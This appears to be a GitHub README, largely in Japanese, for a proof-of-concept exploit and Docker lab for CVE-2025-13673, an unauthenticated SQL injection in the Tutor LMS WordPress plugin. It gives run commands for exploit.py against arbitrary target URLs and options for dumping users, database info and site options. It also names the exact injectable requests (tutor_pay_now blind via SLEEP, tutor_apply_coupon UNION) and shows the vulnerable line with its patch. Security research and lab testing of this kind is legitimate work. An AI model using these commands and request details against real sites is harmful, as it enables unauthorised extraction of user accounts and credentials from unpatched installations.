
CVE-2025-13673: Tutor LMS SQLインジェクション PoC + Dockerラボ
WordPressプラグインTutor LMS (<= 3.9.6) における、coupon_codeパラメータ経由の未認証SQLインジェクション
# 1. Clone and start the lab
git clone https://github.com/dinosn/CVE-2025-13673.git
cd CVE-2025-13673
./setup.sh # Deploys WordPress + Tutor LMS 3.9.3
# 2. Run the exploit
pip install requests # only dependency
# Unauthenticated (time-based blind — no credentials needed)
python3 exploit.py http://localhost:8080
# Authenticated (UNION-based — instant extraction)
python3 exploit.py http://localhost:8080 -u testuser -p test123 --all
| フィールド | 値 |
|---|---|
| CVE | CVE-2025-13673 |
| 影響を受けるバージョン | Tutor LMS <= 3.9.6 |
| 修正バージョン | 3.9.7 |
| タイプ | SQLインジェクション (CWE-89) |
| CVSS | 7.5 / 9.3 |
| 認証 | 不要(ブラインド)/ 購読者(UNION) |
QueryHelper::prepare_where_clause() は、SQLのWHERE句を生の文字列連結で構築します:
// helpers/QueryHelper.php — VULNERABLE
$value = is_numeric( $value ) ? $value : "'" . $value . "'";
エスケープ処理がありません。シングルクォートでリテラルを抜け出し、任意のSQLが許可されます。
未認証: POST / に tutor_action=tutor_pay_now を付けて送信します。WordPressの init フックはこれをすべての訪問者に対してディスパッチします。_tutor_nonce はすべてのフロントエンドページに埋め込まれ、匿名セッションでも有効です。SLEEP() によるデータ抽出。
購読者以上: POST /wp-admin/admin-ajax.php に action=tutor_apply_coupon を付けて送信します。インジェクトされたUNION SELECTデータを含むJSONが返され、レスポンスに反映された2つのカラムから即座に抽出できます。
- $val = is_numeric( $val ) ? $val : "'" . $val . "'";
+ // Value now passed through $wpdb->prepare('%s', $value)
usage: exploit.py [-h] [-u USERNAME] [-p PASSWORD] [--course-id COURSE_ID]
[--dump-users] [--db-info] [--options] [--all]
[--delay DELAY]
url
モード:
デフォルト(-u/-pなし):未認証の時間ベースブラインドSQLi
-u/-pあり:認証されたUNIONベース(高速)
例:
exploit.py http://target # 未認証ブラインド
exploit.py http://target -u student -p pass --all # 認証UNION
# Test version 3.9.5 (has esc_sql partial mitigation)
./setup.sh 3.9.5
# Test version 3.9.7 (should be fixed)
./setup.sh 3.9.7
| ファイル | 説明 |
|---|---|
exploit.py | デュアルモードPoC:未認証ブラインド + 認証UNION |
setup.sh | ワンコマンドラボデプロイ |
docker-compose.yml | WordPress 6.7 + MySQL 8.0 |
許可されたセキュリティテストおよび教育目的のみに使用してください。